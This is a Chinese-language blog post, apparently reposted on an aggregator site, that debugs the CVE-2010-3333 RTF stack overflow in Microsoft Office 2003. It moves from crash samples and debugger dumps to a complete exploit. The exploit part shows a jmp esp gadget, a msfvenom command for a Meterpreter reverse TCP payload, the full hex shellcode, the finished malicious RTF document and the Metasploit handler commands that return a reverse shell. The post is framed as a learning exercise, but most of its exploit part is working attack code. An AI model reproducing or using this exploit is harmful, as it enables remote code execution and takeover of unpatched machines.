cve-2010-3333 分析简笔

2023-11-01 21:50
文章标签 分析 cve 2010 简笔 3333

本文主要是介绍cve-2010-3333 分析简笔,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

    昨天分析了半拉,感觉整个过程很条理;但是今天再接着昨天的思路往下调试的时候,不知该在哪下断点了,翻阅了昨天的随手的记录才有了些印象,但是思路还是一团。看来写篇随笔还是很有必要的。故作此文。

   

简介
Microsoft Office 是微软发布的非常流行的办公软件套件。 基于Mac平台的Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010,Office 2004以及2008版本,基于Mac 2011平台的Office,以及基于MAC平台的Open XML文件格式转换器中存在基于栈的缓冲区溢出漏洞。远程攻击者可以借助特制的RTF数据执行任意代码。该漏洞又名"RTF栈缓冲区溢出漏洞"。

  

受影响软据
cpe:/a:microsoft:office:xp:sp3 Microsoft Office XP Service Pack 3 cpe:/a:microsoft:office:2010 Microsoft Office 2010 cpe:/a:microsoft:open_xml_file_format_converter:::mac Microsoft Open XML File Format Converter for Mac cpe:/a:microsoft:office:2011::mac Microsoft Office 2011 Mac cpe:/a:microsoft:office:2007:sp2 Microsoft Office 2007 Service Pack 2 cpe:/a:microsoft:office:2008::mac Microsoft Office 2008 Mac cpe:/a:microsoft:office:2004::mac Microsoft Office 2004 Mac cpe:/a:microsoft:office:2003:sp3 Microsoft Office 2003 Service Pack 3

  调试环境: xp sp3 english 

  调试工具: immdbg   

  调试对象:

Office Professional Enterprise Edition 2003 (English) 详细信息
文件名
en_office_2003_pro.iso
SHA1
0D90F58105DCBC74A8972802340B3226679E7119
文件大小
400.55MB
发布时间
2003-09-03
ed2k://|file|en_office_2003_pro.iso|420005888|2828bdb2400cf75af224c3e4a919bd9b|/

  

  参考: 《漏洞战争》 以及 http://www.52pojie.cn/thread-290299-1-1.html

 

  0x01 简单的样本

  简单的样本0.doc

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4141414141414141414141414141}{\sn pfragments}}}}}

  1.启动 winword.exe ,启动immdbg,附加winword.exe进程;

  2. 将0.doc 拖入 winword 窗口

  3. immdbg抓到执行异常、如下

  4. 堆栈如下

  

可以看到我们的41414141 ... 已经被复制到栈上了,如果增加就会覆盖到返回地址,通过观察堆栈我们很容易看到距离返回地址没多少距离。

  0x01 简单的样本1,找出问题根源

  从上面我们可以推测出:是数据copy时造成了栈溢出,那么我们增加恶意数据,一定会撑爆栈,造成非法写入。就能定位到是谁在乱写了。

  1. 利用mona 的pc生成大量的数据,这里我生成1000字节先试试(没有安装mona的同学,可以去github搜索下载,放入immdbg安装路径下的pycommands目录就可以了),在下面的命令输入

处键入 !mona pc 1000  如下图

这样就生成了1000字节的数据,可以到Immdbg安装目录下的pattern.txt 查看详细内容

复制 ascii:下的字符串

写入到样本1.doc中如下

再次调试打开,参考上面的 0x00 的 1.2.3.4.... 

immdbg抓到了异常写入错误

罪魁祸首在这里

将以上代码复制出来,保存为txt,作为记录

30E9EB78   56               PUSH ESI
30E9EB79   8BF1             MOV ESI,ECX
30E9EB7B   0FAF7424 14      IMUL ESI,DWORD PTR SS:[ESP+14]
30E9EB80   0370 10          ADD ESI,DWORD PTR DS:[EAX+10]
30E9EB83   8BC1             MOV EAX,ECX
30E9EB85   C1E9 02          SHR ECX,2
30E9EB88   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
30E9EB8A   8BC8             MOV ECX,EAX
30E9EB8C   83E1 03          AND ECX,3
30E9EB8F   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
30E9EB91   5E               POP ESI
30E9EB92   5F               POP EDI
30E9EB93   C2 0C00          RETN 0C
30E9EB96   56               PUSH ESI
30E9EB97   57               PUSH EDI

  标黑部分为造成异常的原因,位于mso.dll中,所以下次,我们在这里下断点。着重跟踪下

    0x02 手动构造样本02 ,跟踪溢出过程

    样本2.doc如下

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566676869707172737475}{\sn pfragments}}}}}

  再次附加调试打开样本。参考0x00 

  当winword运行起来后,我们要下断点 bp 30E9EB88 ,我们首先看下mso.dll ,是否已经正常加载,使用mona 命令 

可以到到mso已经加载,所以可以直接下断点了

下好断点后,打开文件2.doc,immdbg停在在了

30E9EB88   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

  正在复制数据,从esi 到edi复制,我们看下edi 是哪里

EAX 00004645
ECX 00001191
EDX 00000000
EBX 05000000
ESP 0012A280
EBP 0012A2B8
ESI 05A2000C ASCII "GHIPQRSTUVWXY`abcdefghipqrstu"
EDI 0012A2A8
EIP 30E9EB88 mso.30E9EB88
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

  可以知道edi指向栈中,在栈窗口ctrl+g 打开地址输入对话框,键入 edi,回车

栈如下

0012A2A8   FFFF0000  ..ÿÿ
0012A2AC   05000000  ...
0012A2B0   00000000  ....
0012A2B4   0000FFFF  ÿÿ..
0012A2B8  /0012A2E8  è¢.
0012A2BC  |30F4CDBD  ½Íô0  RETURN to mso.30F4CDBD from mso.30F4CC5D

  观察如上栈的情况,下面不远就是返回地址

再看看复制数据的来源,是否是我们写入的数据

在数据窗口键入 ctrl+g ,键入 esi 回车

正式我们写入的数据

通过以上我们可以知道,我们的数据在复制到栈上时,会覆盖返回地址,下面我们看下复制完成后是否覆盖了返回地址

F8一下,复制完成,我们在去看看 

0012A2A8处的栈情况
0012A2A8 50494847 GHIP
0012A2AC 54535251 QRST
0012A2B0 58575655 UVWX
0012A2B4 62616059 Y`ab
0012A2B8 66656463 cdef
0012A2BC 70696867 ghip
0012A2C0 74737271 qrst
0012A2C4 00000075 u...
0012A2C8 00000000 ....
0012A2CC 00000000 ....
0012A2D0 00000000 ....
0012A2D4 00000000 ....
0012A2D8 00000000 ....
0012A2DC 00000000 ....
0012A2E0 00000000 ....
0012A2E4 00000000 ....
0012A2E8 00000000 ....

  对比下

复制前的 返回地址
0012A2BC |30F4CDBD ½Íô0 RETURN to mso.30F4CDBD from mso.30F4CC5D
复制数据后的返回地址

0012A2BC 70696867 ghip
已经被我们的数据覆盖,下面当函数返回时就会造成eip跑飞,被控制

  下面我们继续f8 ,一步一步 

来到如上图位置时,堆栈情况如下

 接下来,f7 跟入,如下

 eip 已经被 70696867,控制

以上我们已经定位到可控eip的位置

  0x03 找个跳板

通过观察栈情况

此时esp指向 0012A2D4 ,我们可以利用jmp esp 来跳入shellcode中,

我们可以将shellcode向下布置到 0012A2D4 

  找个稳定的跳板,jmp esp ,这里我们还是利用mona ,为了稳定我们不适用系统的跳板,这里我们使用mso.dll的跳板

命令 !mona jmp -r esp -m mso.dll -o  // 这里解释下 jmp 找跳板的命令,-r esp 寄存器指定为esp ;-m 指定dll名称,-o 忽略系统dll

稍等片刻,点击工具栏中的 l ,显示日志窗口。

 

这里选择一个条本就行了,我们选择 0x30cd10a7 , 下面我们替换下

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566a710cd30}{\sn pfragments}}}}}

  

验证下跳板,将以上内容保存为3.doc

附加winword ,下断点,30f4cd55 ,这里返回后就EIP被控了,就会去 30cd10a7 

来到断点处,可以看到现在的栈顶就是我们的跳板,f7 跟踪下

f7 继续

f7 继续

可以看到 eip 被控制到栈中 12a2D4 去了,此时栈中布局

通过以上观察,我们可以多放些滑块,在后面布置shellcode就行了

 

0x04 构造exploit ,触发利用,验证

 

通过以上调试和观察,我们已经摸清楚了,可以得出我们exp布局,

12a2d4 - 12a2bc = 24 ,

在跳板后布置20个00,后面就可以跟我们的shellcode了,这里我使用 msf生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.250.1 LPORT=4444 -f hex > 111.payload

直接提取shellcode为hex字符类型,存放在1111.payload中如下

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8fa01680200115c89e66a1056576899a57461ffd585c0740aff4e0875ece83f0000006a006a0456576802d9c85fffd583f8007ee98b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007ec301c329c675e9c3bbf0b5a2566a0053ffd5

  

注释:我的kali 使用ip 250.1 ,xp 调试机器为250.2 ,互ping都是通的。

 

最后得到样本文件04.doc

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566ae61d23000000000000000000000000000000000000000009090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8fa01680200115c89e66a1056576899a57461ffd585c0740aff4e0875ece83f0000006a006a0456576802d9c85fffd583f8007ee98b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007ec301c329c675e9c3bbf0b5a2566a0053ffd5}{\sn pfragments}}}}}

  

msf 监听命令如下

 use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.250.1
exploit

  winword打开样本04 ,msf得到反弹shell

 

转载于:https://www.cnblogs.com/M4ster/p/cve-2010-3333_debug.html

这篇关于cve-2010-3333 分析简笔的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/325984

相关文章

Android 缓存日志Logcat导出与分析最佳实践

《Android缓存日志Logcat导出与分析最佳实践》本文全面介绍AndroidLogcat缓存日志的导出与分析方法,涵盖按进程、缓冲区类型及日志级别过滤,自动化工具使用,常见问题解决方案和最佳实... 目录android 缓存日志(Logcat)导出与分析全攻略为什么要导出缓存日志?按需过滤导出1. 按

Linux中的HTTPS协议原理分析

《Linux中的HTTPS协议原理分析》文章解释了HTTPS的必要性:HTTP明文传输易被篡改和劫持,HTTPS通过非对称加密协商对称密钥、CA证书认证和混合加密机制,有效防范中间人攻击,保障通信安全... 目录一、什么是加密和解密?二、为什么需要加密?三、常见的加密方式3.1 对称加密3.2非对称加密四、

MySQL中读写分离方案对比分析与选型建议

《MySQL中读写分离方案对比分析与选型建议》MySQL读写分离是提升数据库可用性和性能的常见手段,本文将围绕现实生产环境中常见的几种读写分离模式进行系统对比,希望对大家有所帮助... 目录一、问题背景介绍二、多种解决方案对比2.1 原生mysql主从复制2.2 Proxy层中间件:ProxySQL2.3

python使用Akshare与Streamlit实现股票估值分析教程(图文代码)

《python使用Akshare与Streamlit实现股票估值分析教程(图文代码)》入职测试中的一道题,要求:从Akshare下载某一个股票近十年的财务报表包括,资产负债表,利润表,现金流量表,保存... 目录一、前言二、核心知识点梳理1、Akshare数据获取2、Pandas数据处理3、Matplotl

python panda库从基础到高级操作分析

《pythonpanda库从基础到高级操作分析》本文介绍了Pandas库的核心功能,包括处理结构化数据的Series和DataFrame数据结构,数据读取、清洗、分组聚合、合并、时间序列分析及大数据... 目录1. Pandas 概述2. 基本操作:数据读取与查看3. 索引操作:精准定位数据4. Group

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致

深度解析Nginx日志分析与499状态码问题解决

《深度解析Nginx日志分析与499状态码问题解决》在Web服务器运维和性能优化过程中,Nginx日志是排查问题的重要依据,本文将围绕Nginx日志分析、499状态码的成因、排查方法及解决方案展开讨论... 目录前言1. Nginx日志基础1.1 Nginx日志存放位置1.2 Nginx日志格式2. 499

Olingo分析和实践之EDM 辅助序列化器详解(最佳实践)

《Olingo分析和实践之EDM辅助序列化器详解(最佳实践)》EDM辅助序列化器是ApacheOlingoOData框架中无需完整EDM模型的智能序列化工具,通过运行时类型推断实现灵活数据转换,适用... 目录概念与定义什么是 EDM 辅助序列化器?核心概念设计目标核心特点1. EDM 信息可选2. 智能类

Olingo分析和实践之OData框架核心组件初始化(关键步骤)

《Olingo分析和实践之OData框架核心组件初始化(关键步骤)》ODataSpringBootService通过初始化OData实例和服务元数据,构建框架核心能力与数据模型结构,实现序列化、URI... 目录概述第一步:OData实例创建1.1 OData.newInstance() 详细分析1.1.1